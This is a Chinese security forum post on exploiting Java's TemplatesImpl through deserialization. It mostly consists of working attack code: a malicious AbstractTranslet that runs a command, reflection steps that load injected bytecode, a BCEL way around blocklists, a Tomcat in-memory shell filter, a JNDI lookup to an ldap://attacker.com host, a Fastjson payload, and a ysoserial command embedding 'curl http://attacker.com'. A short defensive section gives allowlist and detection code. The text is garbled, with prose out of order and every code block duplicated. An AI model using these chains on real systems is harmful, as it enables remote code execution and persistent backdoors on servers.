首页
社区
课程
招聘
[原创]Java TemplatesImpl的深度利用技巧
发表于: 2025-4-3 10:40 812

[原创]Java TemplatesImpl的深度利用技巧

2025-4-3 10:40
812

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是 JDK 内置的 XSLT 处理器类,其defineTransletClasses()方法允许加载自定义字节码。攻击者通过反序列化构造特殊对象,触发恶意类加载和执行。

核心方法调用链

反射工具方法

绕过 JDK 高版本限制

}
```

白名单校验:使用ValidatingObjectInputStream限制反序列化的类:

当目标环境存在 JNDI 注入漏洞(如 Log4j2)时,通过TemplatesImpl触发远程类加载,绕过本地字节码检测,直接加载远程恶意类

代码审计关注点

防御策略

虽然TemplatesImpl本身不依赖 JNDI,但可以通过组合漏洞链实现更复杂的攻击。例如,利用TemplatesImpl加载的恶意类触发 JNDI 远程类加载:

技巧:通过TemplatesImpl加载的类触发 JNDI 查询,绕过直接依赖反序列化链的限制。

某些环境下对TemplatesImpl的类名黑名单有过滤,可通过 BCEL 格式的字节码绕过类名校验:

技巧:BCEL 编码的字节码可在某些场景下绕过类名检查,结合TemplatesImpl的加载机制实现绕过。

利用动态代理触发TemplatesImplnewTransformer方法,绕过直接调用检测:

技巧:通过动态代理间接调用getOutputProperties,避免直接触发敏感方法。

在 JDK 8u191+ 中,TemplatesImpl的类加载可能受限制,可通过以下方式绕过:

技巧:通过底层内存操作绕过访问控制,强制加载恶意类。

在 XStream 中利用TemplatesImpl加载恶意类:

技巧:通过构造 XML Payload 触发 XStream 的反序列化漏洞,结合TemplatesImpl执行命令。

TemplatesImpl.newTransformer()
  → getTransletInstance()
    → defineTransletClasses()
      → ClassLoader.defineClass() // 加载恶意字节码
TemplatesImpl.newTransformer()
  → getTransletInstance()
    → defineTransletClasses()
      → ClassLoader.defineClass() // 加载恶意字节码
// 生成恶意字节码(示例弹出计算器)
public class EvilTemplate extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) { /* 异常处理 */ }
    }
 
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) {}
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}
 
// 编译并获取字节码
byte[] evilCode = Files.readAllBytes(Paths.get("EvilTemplate.class"));
// 生成恶意字节码(示例弹出计算器)
public class EvilTemplate extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) { /* 异常处理 */ }
    }
 
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) {}
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}
 
// 编译并获取字节码
byte[] evilCode = Files.readAllBytes(Paths.get("EvilTemplate.class"));
TemplatesImpl templates = TemplatesImpl.newInstance();
 
// 使用反射设置关键字段
setField(templates, "_bytecodes", new byte[][]{evilCode});
setField(templates, "_name", "Exploit");
setField(templates, "_tfactory", new TransformerFactoryImpl());
 
// 触发类加载
templates.newTransformer();
TemplatesImpl templates = TemplatesImpl.newInstance();
 
// 使用反射设置关键字段
setField(templates, "_bytecodes", new byte[][]{evilCode});
setField(templates, "_name", "Exploit");
setField(templates, "_tfactory", new TransformerFactoryImpl());
 
// 触发类加载
templates.newTransformer();
void setField(Object obj, String fieldName, Object value) throws Exception {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj, value);
}
void setField(Object obj, String fieldName, Object value) throws Exception {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj, value);
}
// 通过 BCEL 加载绕过类名检查
String bcelCode = "$$BCEL$$..."; // 生成的 BCEL 字节码
byte[] bytecode = com.sun.org.apache.bcel.internal.classfile.Utility.decode(bcelCode, true);
 
// 构造特殊类名绕过黑名单
setField(templates, "_name", "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
setField(templates, "_bytecodes", new byte[][]{bytecode});
// 通过 BCEL 加载绕过类名检查
String bcelCode = "$$BCEL$$..."; // 生成的 BCEL 字节码
byte[] bytecode = com.sun.org.apache.bcel.internal.classfile.Utility.decode(bcelCode, true);
 
// 构造特殊类名绕过黑名单
setField(templates, "_name", "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
setField(templates, "_bytecodes", new byte[][]{bytecode});
JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);
JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);
public class MemShell extends AbstractTranslet {
static {
    WebappClassLoaderBase classLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext context = (StandardContext) classLoader.getResources().getContext();
    // 注入 Filter 配置
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName("evilFilter");
    filterDef.setFilterClass(this.getClass().getName());
    context.addFilterDef(filterDef);
    // 添加 URL 映射
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName("evilFilter");
    filterMap.addURLPattern("/*");
    context.addFilterMap(filterMap);
}
public class MemShell extends AbstractTranslet {
static {
    WebappClassLoaderBase classLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext context = (StandardContext) classLoader.getResources().getContext();
    // 注入 Filter 配置
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName("evilFilter");
    filterDef.setFilterClass(this.getClass().getName());
    context.addFilterDef(filterDef);
    // 添加 URL 映射
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName("evilFilter");
    filterMap.addURLPattern("/*");
    context.addFilterMap(filterMap);
}
// 安全的反序列化实现
public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> ALLOWED_CLASSES =
        Set.of("java.lang.String", "java.util.HashMap");
 
    public SafeObjectInputStream(InputStream in) throws IOException {
        super(in);
    }
 
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException {
        if (!ALLOWED_CLASSES.contains(desc.getName())) {
            throw new InvalidClassException("Unauthorized class: ", desc.getName());
        }
        return super.resolveClass(desc);
    }
}
// 安全的反序列化实现
public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> ALLOWED_CLASSES =
        Set.of("java.lang.String", "java.util.HashMap");
 
    public SafeObjectInputStream(InputStream in) throws IOException {
        super(in);
    }
 
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException {
        if (!ALLOWED_CLASSES.contains(desc.getName())) {
            throw new InvalidClassException("Unauthorized class: ", desc.getName());
        }
        return super.resolveClass(desc);
    }
}
// 使用 Java Agent 检测 defineClass
public class ClassDefineMonitor {
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer((loader, className, classBeingRedefined,
            protectionDomain, classfileBuffer) -> {
            if (className.contains("Evil")) {
                throw new SecurityException("Detected malicious class: " + className);
            }
            return classfileBuffer;
        }, true);
    }
}
// 使用 Java Agent 检测 defineClass
public class ClassDefineMonitor {
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer((loader, className, classBeingRedefined,
            protectionDomain, classfileBuffer) -> {
            if (className.contains("Evil")) {
                throw new SecurityException("Detected malicious class: " + className);
            }
            return classfileBuffer;
        }, true);
    }
}
// 生成包含 JNDI 触发的字节码
public class JNDILoader extends AbstractTranslet {
    static {
        try {
            new InitialContext().lookup("ldap://attacker.com/Exploit");
        } catch (NamingException e) { /* 异常处理 */ }
    }
}
 
// 构造嵌套攻击链
Transformer[] chain = new Transformer[]{
    new ConstantTransformer(templates),
    new InvokerTransformer("newTransformer", null, null)
};
// 生成包含 JNDI 触发的字节码
public class JNDILoader extends AbstractTranslet {
    static {
        try {
            new InitialContext().lookup("ldap://attacker.com/Exploit");
        } catch (NamingException e) { /* 异常处理 */ }
    }
}
 
// 构造嵌套攻击链
Transformer[] chain = new Transformer[]{
    new ConstantTransformer(templates),
    new InvokerTransformer("newTransformer", null, null)
};
// Fastjson 反序列化载荷
{
  "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes": ["BASE64_ENCODED_BYTECODE"],
  "_name": "Exploit",
  "_tfactory": {},
  "_outputProperties": {}
}
// Fastjson 反序列化载荷
{
  "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes": ["BASE64_ENCODED_BYTECODE"],
  "_name": "Exploit",
  "_tfactory": {},
  "_outputProperties": {}
}
Transformer[] groovyChain = new Transformer[]{
    new ConstantTransformer(new MethodClosure("calc", "execute")),
    new InvokerTransformer("call", null, null)
};
Transformer[] groovyChain = new Transformer[]{
    new ConstantTransformer(new MethodClosure("calc", "execute")),
    new InvokerTransformer("call", null, null)
};
# 使用 ysoserial 生成 TemplatesImpl payload
java -jar ysoserial.jar Jdk7u21 "curl http://attacker.com" > payload.bin
 
# 发送到测试服务
curl -X POST --data-binary @payload.bin http://vuln-app/deserialize
 
# 内存马检测命令
jmap -dump:live,format=b,file=heapdump.bin <pid>
jhat heapdump.bin # 分析堆中的恶意 Filter
# 使用 ysoserial 生成 TemplatesImpl payload
java -jar ysoserial.jar Jdk7u21 "curl http://attacker.com" > payload.bin
 
# 发送到测试服务
curl -X POST --data-binary @payload.bin http://vuln-app/deserialize
 
# 内存马检测命令
jmap -dump:live,format=b,file=heapdump.bin <pid>
jhat heapdump.bin # 分析堆中的恶意 Filter
// 危险模式
ObjectInputStream.readObject()
XMLDecoder.readObject()
JSON.parseObject(input, Feature.SupportNonPublicField)
 
// 敏感调用
ClassLoader.defineClass()
TemplatesImpl.newTransformer()

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2025-4-11 10:21 被Hrlies编辑 ,原因:
收藏
免费
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册